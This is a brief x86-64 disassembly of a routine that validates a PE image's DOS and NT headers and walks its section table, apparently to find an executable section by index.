xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002300
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002308
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002300
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002350
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002347
test rcx, rcx
je 0x140002300
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140002338
xor eax, eax
ret